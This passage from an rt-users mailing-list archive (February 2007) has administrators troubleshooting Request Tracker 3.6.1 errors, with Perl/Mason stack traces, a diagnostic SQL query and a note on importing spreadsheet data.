From thomas.koch at switch.ch  Thu Feb  8 03:15:43 2007
From: thomas.koch at switch.ch (Thomas Koch)
Date: Thu, 08 Feb 2007 09:15:43 +0100
Subject: [rt-users] Undefined subroutine &Scalar::Util::weaken called
Message-ID: <45CADC2F.2070609@switch.ch>

Dear list

I have the RT almost up and running on a Mac OS X Server. But I ran in 
another problem.

Replying to tickets isn't possible yet. The mails aren't sent to the 
requestor. I've seen lots of strange error message in the apache2 
error_log (several "Scrip Prepare died"). But I don't understand what 
they mean. I have Scalar-List-Utils-1.18 installed!


# apache error log:

[Thu Feb  8 07:58:04 2007] [error]: Scrip Prepare 7 died. - Undefined 
subroutine &Scalar::Util::weaken called at 
/opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm line 107.

Stack:
   [/opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm:107]
   [/opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm:79]
   [/opt/switch/rt-3.6.1/lib/RT/ScripAction_Overlay.pm:177]
   [/opt/switch/rt-3.6.1/lib/RT/Scrip_Overlay.pm:472]
   [/opt/switch/rt-3.6.1/lib/RT/Scrips_Overlay.pm:237]
   [/opt/switch/rt-3.6.1/lib/RT/Transaction_Overlay.pm:171]
   [/opt/switch/rt-3.6.1/lib/RT/Record.pm:1446]
   [/opt/switch/rt-3.6.1/lib/RT/Ticket_Overlay.pm:2442]
   [/opt/switch/rt-3.6.1/lib/RT/Ticket_Overlay.pm:2356]
   [/opt/switch/rt-3.6.1/lib/RT/Interface/Web.pm:570]
   [/opt/switch/rt-3.6.1/share/html/Ticket/Display.html:141]
   [/opt/switch/rt-3.6.1/share/html/Ticket/Update.html:216]
   [/opt/switch/rt-3.6.1/share/html/autohandler:279] 
(/opt/switch/rt-3.6.1/lib/RT/Scrip_Overlay.pm:480)


Thanks for any help!

--
Thomas


From ruslan.zakirov at gmail.com  Thu Feb  8 08:49:05 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Thu, 8 Feb 2007 16:49:05 +0300
Subject: [rt-users] Ticket Errors
In-Reply-To: <45C98700.8040100@yahoo.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
Message-ID: <589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>

Please, run the following SQL query:
 SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;

Where XXXX id of the ticket. Then send me results.


On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
> I'd like to add to this.  I've looked at the database and found that there are
> 63 transactions attached to this ticket.  There are also no transactions for
> which there isn't a user.  I've looked up the names on each user id in the
> transactions table and found that they correspond to someone that would likely
> have had a part in the ticket.
>
> There are as many user id entries as there are transactions.  What I mean is,
> there are multiple entries for some ids but all transactions have a user id
> attached to it.  This tells me that the transactions aren't corrupted by a
> missing user that possibly got Shredded out of the database.
>
> As I've said before, this isn't the first time we've seen this so I'm beginning
> to think this is a bug of some sort.
>
> The full error follows.
>
> error:          Can't call method "Name" on an undefined value at
> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> context:
> ...
> 686:    AddWatcher => sub {
> 687:    my $self = shift;
> 688:    my $principal = RT::Principal->new($self->CurrentUser);
> 689:    $principal->Load($self->NewValue);
> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
> $principal->Object->Name);
> 691:    },
> 692:    DelWatcher => sub {
> 693:    my $self = shift;
> 694:    my $principal = RT::Principal->new($self->CurrentUser);
> ...
> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
> /usr/local/rt-3.6.1/share/html/autohandler:279
>
>
>
> raw error
> Can't call method "Name" on an undefined value at
> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>
>
> Trace begun at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name" on an
> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line
> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 690
> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)') called at
> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
> HTML::Mason::Commands::__ANON__('Attachments',
> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> 'UpdatePath', '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction',
> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed', undef,
> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Transaction',
> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed', undef,
> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments', 'ARRAY(0xc59f11c)',
> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
> HTML::Mason::Request::comp(undef, undef, 'Attachments',
> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> 'UpdatePath', '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction',
> 0) called at /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef, 'Attachments',
> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> 'RT::Attachments=HASH(0xc98d840)') called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed', undef,
> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
> HTML::Mason::Request::comp(undef, undef, 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef, 'Attachments',
> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> 'RT::Attachments=HASH(0xc98d840)') called at
> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
> 'id', 55767, 'id', 55767) called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767) called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line 279
> HTML::Mason::Commands::__ANON__('id', 55767) called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
> 'id', 55767) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> line 1246
> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 411
> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm line 168
> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm line 826
> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> /usr/local/rt-3.6.1/bin/webmux.pl line 123
> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at -e line 0
> eval {...} at -e line 0
>
> If we don't protect the freedom of speech, how will we know who the assholes are?
> http://theillien.blogspot.com
>
>
> Mathew Snyder wrote:
> > I think I've asked about this before and I'm fairly certain I already know the
> > answer.  However, I'm not certain it should be happening.
> >
> > We keep getting the error "Can't call method "Name" on an undefined value..."
> > If I recall correctly this is a result of eliminating via Shredder a user which
> > was at one point attatched to a ticket.  The only problem with this is that the
> > only users I remove are those that are created when we receive spam.
> >
> > So is this the only explanation?  More and more of these tickets keep appearing
> > but I can't figure out how all of these users are disappearing.
> >
> > Thanks
> > Mathew
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
> >
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From pwood at christianbook.com  Thu Feb  8 09:16:47 2007
From: pwood at christianbook.com (Peter Wood)
Date: Thu, 8 Feb 2007 09:16:47 -0500
Subject: [rt-users] Getting data from Excel into RT?
Message-ID: <E0F0BBC78185F94D8608A18CFC37FA23060AE0A4@raptor.cbdadmin.com>

Jesse et al:

> With a bit of coaxing, the "tools - off line" item from RT's 
> main menu,
> will take a tab-separated spreadsheet in the same format as 
> RT's "export
> to spreadsheet" search result functionality.

Since the spreadsheet I have is in a proprietary format, I wrote a Perl
script that would take a TSV export of the spreadsheet, map its fields
into fields that are usable in RT (I did have to create some custom
fields), and then export it into the format used by RT's offline import
feature. It seems to work pretty well.

Peter


From theillien at yahoo.com  Thu Feb  8 09:19:57 2007
From: theillien at yahoo.com (Mathew)
Date: Thu, 08 Feb 2007 09:19:57 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
Message-ID: <45CB318D.7080309@yahoo.com>

Ruslan,

I will do this as soon as I get to work tonight.

Mathew

Ruslan Zakirov wrote:
> Please, run the following SQL query:
> SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> 
> Where XXXX id of the ticket. Then send me results.
> 
> 
> On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> I'd like to add to this.  I've looked at the database and found that
>> there are
>> 63 transactions attached to this ticket.  There are also no
>> transactions for
>> which there isn't a user.  I've looked up the names on each user id in
>> the
>> transactions table and found that they correspond to someone that
>> would likely
>> have had a part in the ticket.
>>
>> There are as many user id entries as there are transactions.  What I
>> mean is,
>> there are multiple entries for some ids but all transactions have a
>> user id
>> attached to it.  This tells me that the transactions aren't corrupted
>> by a
>> missing user that possibly got Shredded out of the database.
>>
>> As I've said before, this isn't the first time we've seen this so I'm
>> beginning
>> to think this is a bug of some sort.
>>
>> The full error follows.
>>
>> error:          Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> context:
>> ...
>> 686:    AddWatcher => sub {
>> 687:    my $self = shift;
>> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> 689:    $principal->Load($self->NewValue);
>> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> $principal->Object->Name);
>> 691:    },
>> 692:    DelWatcher => sub {
>> 693:    my $self = shift;
>> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> ...
>> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> /usr/local/rt-3.6.1/share/html/autohandler:279
>>
>>
>>
>> raw error
>> Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>>
>>
>> Trace begun at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
>> on an
>> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> line
>> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> line 690
>> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
>> HTML::Mason::Commands::__ANON__('Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction',
>> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> 'ARRAY(0xc59f11c)',
>> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
>> undef,
>> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> 'id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
>> 279
>> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1246
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 411
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 168
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 826
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> -e line 0
>> eval {...} at -e line 0
>>
>> If we don't protect the freedom of speech, how will we know who the
>> assholes are?
>> http://theillien.blogspot.com
>>
>>
>> Mathew Snyder wrote:
>> > I think I've asked about this before and I'm fairly certain I
>> already know the
>> > answer.  However, I'm not certain it should be happening.
>> >
>> > We keep getting the error "Can't call method "Name" on an undefined
>> value..."
>> > If I recall correctly this is a result of eliminating via Shredder a
>> user which
>> > was at one point attatched to a ticket.  The only problem with this
>> is that the
>> > only users I remove are those that are created when we receive spam.
>> >
>> > So is this the only explanation?  More and more of these tickets
>> keep appearing
>> > but I can't figure out how all of these users are disappearing.
>> >
>> > Thanks
>> > Mathew
>> > _______________________________________________
>> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >
>> > Community help: http://wiki.bestpractical.com
>> > Commercial support: sales at bestpractical.com
>> >
>> >
>> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> > Buy a copy at http://rtbook.bestpractical.com
>> >
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> 
> 



From theillien at yahoo.com  Thu Feb  8 09:24:03 2007
From: theillien at yahoo.com (Mathew)
Date: Thu, 08 Feb 2007 09:24:03 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
Message-ID: <45CB3283.4080909@yahoo.com>

Am I correct in assuming that all the txn and u and such are just
abbreviations and need to be replaced with Users and Transactions in the
actual query?

Mathew

Ruslan Zakirov wrote:
> Please, run the following SQL query:
> SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> 
> Where XXXX id of the ticket. Then send me results.
> 
> 
> On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> I'd like to add to this.  I've looked at the database and found that
>> there are
>> 63 transactions attached to this ticket.  There are also no
>> transactions for
>> which there isn't a user.  I've looked up the names on each user id in
>> the
>> transactions table and found that they correspond to someone that
>> would likely
>> have had a part in the ticket.
>>
>> There are as many user id entries as there are transactions.  What I
>> mean is,
>> there are multiple entries for some ids but all transactions have a
>> user id
>> attached to it.  This tells me that the transactions aren't corrupted
>> by a
>> missing user that possibly got Shredded out of the database.
>>
>> As I've said before, this isn't the first time we've seen this so I'm
>> beginning
>> to think this is a bug of some sort.
>>
>> The full error follows.
>>
>> error:          Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> context:
>> ...
>> 686:    AddWatcher => sub {
>> 687:    my $self = shift;
>> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> 689:    $principal->Load($self->NewValue);
>> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> $principal->Object->Name);
>> 691:    },
>> 692:    DelWatcher => sub {
>> 693:    my $self = shift;
>> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> ...
>> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> /usr/local/rt-3.6.1/share/html/autohandler:279
>>
>>
>>
>> raw error
>> Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>>
>>
>> Trace begun at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
>> on an
>> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> line
>> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> line 690
>> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
>> HTML::Mason::Commands::__ANON__('Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction',
>> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> 'ARRAY(0xc59f11c)',
>> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
